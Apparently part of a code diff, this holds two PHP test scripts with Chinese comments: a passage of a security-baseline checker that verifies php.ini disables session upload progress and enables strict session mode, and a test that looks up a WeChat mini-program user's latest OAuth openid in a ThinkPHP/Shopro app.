$iniContent = file_get_contents($iniPath);
// 匹配有效(非注释)的 session.upload_progress.enabled = Off 或 0
if (!preg_match('/^\s*session\.upload_progress\.enabled\s*=\s*(Off|0)\s*(;.*)?$/mi', $iniContent)) {
echo "[FAIL] 测试 3.1 未通过: {$iniPath} 中未显式配置有效未注释的 `session.upload_progress.enabled = Off`\n";
$failedCount++;
} else {
echo "[PASS] 测试 3.1 通过: {$iniPath} 显式配置了 `session.upload_progress.enabled = Off`\n";
}
// 匹配有效(非注释)的 session.use_strict_mode = 1 或 On
if (!preg_match('/^\s*session\.use_strict_mode\s*=\s*(1|On)\s*(;.*)?$/mi', $iniContent)) {
echo "[FAIL] 测试 3.2 未通过: {$iniPath} 中未显式配置有效未注释的 `session.use_strict_mode = 1`\n";
$failedCount++;
} else {
echo "[PASS] 测试 3.2 通过: {$iniPath} 显式配置了 `session.use_strict_mode = 1`\n";
}
}
echo "====================================================\n";
if ($failedCount > 0) {
echo "【测试结论】共 {$failedCount} 项安全指标不符合要求,存在安全隐患!\n";
exit(1);
} else {
echo "【测试结论】所有安全防护指标均已满足,安全基线通过!\n";
exit(0);
}

查看文件

@@ -0,0 +1,41 @@
<?php
define('ROOT_PATH', __DIR__ . '/../');
define('APP_PATH', ROOT_PATH . 'application/');
define('ADDON_PATH', ROOT_PATH . 'addons' . DIRECTORY_SEPARATOR);
define('DS', DIRECTORY_SEPARATOR);
require ROOT_PATH . 'thinkphp/base.php';
\think\Config::set('database', include ROOT_PATH . 'application/database.php');
// 注册 epay 命名空间
$libraryDir = ADDON_PATH . 'epay' . DS . 'library' . DS;
\think\Loader::addNamespace('Yansongda\\Pay', $libraryDir . 'v2' . DS . 'Yansongda' . DS . 'Pay' . DS);
\think\Loader::addNamespace('Yansongda\\Supports', $libraryDir . 'v2' . DS . 'Yansongda' . DS . 'Supports' . DS);
// 测试用例:验证用户 24 的 openid 获取逻辑与统一下单参数匹配
$userId = 24;
$platform = 'wxMiniProgram';
// 测试:按 id desc 排序获取最新的 openid
$oauth = \addons\shopro\model\UserOauth::where([
'user_id' => $userId,
'provider' => 'Wechat',
'platform' => $platform
])->order('id', 'desc')->find();
echo "【测试】查询用户 {$userId} 的最新授权记录:\n";
if (!$oauth) {
echo "FAIL: 未找到用户授权记录\n";
exit(1);
}
echo "ID: {$oauth->id}, Openid: {$oauth->openid}\n";
// 验证 openid 是否为当前小程序的有效 openid(以 oGsUG 开头)
if (strpos($oauth->openid, 'oGsUG') !== 0) {
echo "FAIL: 获取到的不是当前小程序的有效 openid (期望以 oGsUG 开头)\n";
exit(1);
}
echo "PASS: 成功获取到当前小程序匹配的有效 openid\n";
exit(0);